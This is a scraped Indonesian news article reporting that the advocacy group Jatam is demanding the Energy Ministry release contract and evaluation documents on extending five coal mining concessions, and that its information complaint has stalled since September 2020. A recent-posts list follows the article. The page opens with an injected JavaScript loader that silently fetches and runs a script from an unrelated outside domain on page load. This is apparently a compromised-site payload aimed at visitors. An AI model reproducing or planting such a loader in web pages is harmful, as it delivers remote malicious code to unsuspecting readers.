(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Jatam Pertanyakan Gugatan Keterbukaan Informasi Perpanjangan 5 Perusahaan Tambang


KANALKALIMANTAN.COM, BANJARBARU – Enam bulan sudah sejak September 2020 hingga Maret 2021, perjalanan gugatan keterbukaan informasi kontrak dan dokumen evaluasi rencana pengajuan perpanjangan atas 5 perusahaan raksasa batubara, hingga kini belum ada kejelasan.

Jaringan Advokasi Tambang (Jatam) selaku pihak yang menggugat ke komisi informasi, sebelumnya meminta pemerintah dalam hal ini kementerian ESDM, membuka dokumen evaluasi perpanjangan lima perusahaan yakni PT KPC, PT Kideco Jaya Agung, PT Berau Coal, PT MHU dan PT Arutmin yang kontraknya habis pada 2020 hingga 2023.

Koordinator Jatam Kalimantan Timur (Kaltim) Pradana Rupang kepada Kanalkalimantan.com mengatakan, kementerian ESDM, menolak memberi dan membuka informasinya pada publik dengan berdalih informasi yang dikecualikan.

“Padahal rakyat lingkar tambang yang beresiko terdampak berhak tahu dan mendapatkan informasi evaluasi.

Namun hingga kini meski sudah terdaftar di komisi informasi publik, sidangnya tak juga kunjung diselenggarakan, ada apa dibaliknya?” ungkapnya.

Pradana mengatakan, pihaknya sudah mendaftar ke komisi informasi pusat dan mendesak agar dijadwalkan proses sidang.

“Terakhir kita belum mendapat kabar terbaru, kapan jadwal sidang diperoleh. Padahal sudah daftarkan sejak September 2020 lalu,” katanya.

Berikut kronologis perjalanan gugatan informasi publik sejak September 2020 lalu:

Ia menilai, adanya tanggapan yang diberikan ESDM pun telah melewati batas waktu keberatan. Ketika dicermati, keterangan jawaban tersebut tidak sesuai dengan yang dimohonkan.

“Setidaknya ada lima hal yang kami ajukan. Yakni terkait dokumen kontrak pertambangan lima perusahaan, raksasa batubara yang kontraknya akan berakhir 2020 sampai 2023.

Kedua, bahwa pemerintah menjelaskan sudah melakukan evaluasi terkait perpanjangan ini. Tapi publik tidak tahu tentang informasi, terutama publik yang ada di sekitar lokasi tambang tersebut,” terangnya.

Ia mempertanyakan sejauh apa evaluasi terkait pemulihan lingkungan, tanggungjawab lingkungan, reklamasi, royalti, pajak, PNBP dan lainnya. Menurutnya, hal tersebut harusnya juga dibuka ke publik.

“Ini yang kami ajukan, apakah evaluasi ini hanya (dilakukan) segelintir orang yang tidak kompeten, yang tak tahu bahwa kontrak ini berpenagruh pada hajat hidup orang banyak. Publik ingin tahu itu,” tegasnya.

Termasuk juga, bahwa publik ingin mengetahui nama-nama pejabat, lembaga, maupun akademisi yang melakukan evaluasi juga untuk disampaikan.

Apakah betul mewakili aspirasi masyarakat yang ada di lima wilayah pertambangan itu.

“Alasan dari pihak ESDM justru sangat miris bahwa dokumen ini dikecualikan untuk publik, dikatakan sebagai dokumen rahasia.

Padahal ketertutupan terhadap publik, justru meniadakan proses yang sebenarnya, kepentingan publik yang lebih besar,” jelasnya. (Kanalkalimantan.com/andy)

 

Reporter : Andy
Editor : Cell

 


Al Ghifari

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

9 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

11 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

13 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

14 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

14 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

16 jam ago

This website uses cookies.